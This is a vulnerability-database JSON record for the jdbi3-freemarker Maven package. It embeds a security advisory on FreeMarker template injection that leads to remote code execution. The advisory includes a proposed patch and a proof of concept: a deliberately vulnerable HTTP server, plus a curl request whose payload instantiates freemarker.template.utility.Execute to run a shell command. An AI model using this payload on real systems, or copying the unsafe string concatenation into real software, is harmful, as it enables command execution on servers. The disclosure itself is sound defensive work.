{"url":"http://public2.vulnerablecode.io/api/packages/1055315?format=json","purl":"pkg:maven/org.jdbi/jdbi3-freemarker@3.41.3","type":"maven","namespace":"org.jdbi","name":"jdbi3-freemarker","version":"3.41.3","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"3.53.0","latest_non_vulnerable_version":"3.53.0","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/360353?format=json","vulnerability_id":"VCID-evv3-x37k-k3ed","summary":"jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine\n# Summary\n\n**Description**\n\nAn Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.\n\nThe developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.\n\nJdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. \n## Details\n\nJdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker's legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.\n\nTwo `Configuration` instances are constructed in the module, neither of which is hardened:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n}\n```\n\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    CONFIGURATION = c;\n}\n```\nThe locator's `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.\n\nThe sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java\nTemplate template = new Template(null, sqlTemplate,\n        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());\nreturn Optional.of(ctx -> {\n    StringWriter writer = new StringWriter();\n    template.process(ctx.getAttributes(), writer);\n    return writer.toString();\n});\n```\n\nFreemarker is the only built-in engine whose parse path provides reflective class loading by default.\n## Impact\n\nThis impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.\n\nAn application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.\n## Proposed Patch\n\nThe injection surface is the `Configuration` constructed by Jdbi on the application's behalf without a class-resolver policy.\n\n`FreemarkerConfig` and `FreemarkerSqlLocator`'s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective `?new` can override the `Configuration` via `FreemarkerConfig#setFreemarkerConfiguration(...)`.\n\nThe static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable.\n```java\nimport freemarker.core.TemplateClassResolver;\n\n// FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n}\n\n// FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n    CONFIGURATION = c;\n}\n```\n\n`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.\n\n## Proof of Concept\n\nThis PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates.\n```bash\n# Create project directory\nmkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc\n\ncat > pom.xml << 'EOF'\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>poc</groupId>\n  <artifactId>jdbi-freemarker-poc</artifactId>\n  <version>1.0</version>\n  <properties>\n    <maven.compiler.release>17</maven.compiler.release>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  <dependencies>\n    <dependency>\n      <groupId>org.jdbi</groupId>\n      <artifactId>jdbi3-core</artifactId>\n      <version>3.52.1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.jdbi</groupId>\n      <artifactId>jdbi3-freemarker</artifactId>\n      <version>3.52.1</version>\n    </dependency>\n    <dependency>\n      <groupId>com.h2database</groupId>\n      <artifactId>h2</artifactId>\n      <version>2.2.224</version>\n    </dependency>\n  </dependencies>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>3.13.0</version>\n      </plugin>\n    </plugins>\n  </build>\n</project>\nEOF\n\nmkdir -p src/main/java\ncat > src/main/java/Server.java << 'EOF'\nimport com.sun.net.httpserver.HttpServer;\nimport org.jdbi.v3.core.Jdbi;\nimport org.jdbi.v3.core.statement.SqlStatements;\nimport org.jdbi.v3.freemarker.FreemarkerEngine;\n\nimport java.net.InetSocketAddress;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Server {\n    public static void main(String[] args) throws Exception {\n        Jdbi jdbi = Jdbi.create(\"jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1\");\n        jdbi.getConfig(SqlStatements.class)\n            .setTemplateEngine(FreemarkerEngine.instance());\n        jdbi.useHandle(h -> {\n            h.execute(\"create table users (id int, email varchar)\");\n            h.execute(\"insert into users values (1,'alice@example.com'),(2,'bob@example.com')\");\n        });\n\n        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);\n        http.createContext(\"/search\", ex -> {\n            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault(\"q\", \"\");\n            String sql = \"select email from users where email like '%\" + q + \"%'\";\n            String body;\n            try {\n                body = jdbi.withHandle(h ->\n                    h.createQuery(sql).mapTo(String.class).list().toString());\n            } catch (Exception e) {\n                body = \"error: \" + e.getMessage();\n            }\n            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);\n            ex.sendResponseHeaders(200, bytes.length);\n            ex.getResponseBody().write(bytes);\n            ex.close();\n        });\n        http.start();\n        System.out.println(\"listening on http://127.0.0.1:8050/search?q=...\");\n    }\n\n    private static Map<String, String> parseQuery(String raw) {\n        Map<String, String> out = new HashMap<>();\n        if (raw == null) return out;\n        for (String pair : raw.split(\"&\")) {\n            int eq = pair.indexOf('=');\n            if (eq < 0) continue;\n            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),\n                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));\n        }\n        return out;\n    }\n}\nEOF\n\nmvn -q package\njava -cp \"target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)\" Server &\n```\n\nBenign Request\n```bash\n$ curl -s 'http://127.0.0.1:8050/search?q=alice'\n[alice@example.com]\n```\n\nExploit\n```bash\n$ curl -sG 'http://127.0.0.1:8050/search' \\\n    --data-urlencode 'q=<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/jdbi-pwned\")}'\n[alice@example.com, bob@example.com]\n\n$ ls -la /tmp/jdbi-pwned\n-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned\n```","references":[{"reference_url":"https://github.com/jdbi/jdbi","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/jdbi/jdbi"},{"reference_url":"https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4","reference_id":"","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"7.5","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4"},{"reference_url":"https://github.com/advisories/GHSA-mggx-p7jf-jgw4","reference_id":"GHSA-mggx-p7jf-jgw4","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-mggx-p7jf-jgw4"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/375832?format=json","purl":"pkg:maven/org.jdbi/jdbi3-freemarker@3.53.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/org.jdbi/jdbi3-freemarker@3.53.0"}],"aliases":["GHSA-mggx-p7jf-jgw4"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-evv3-x37k-k3ed"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/org.jdbi/jdbi3-freemarker@3.41.3"}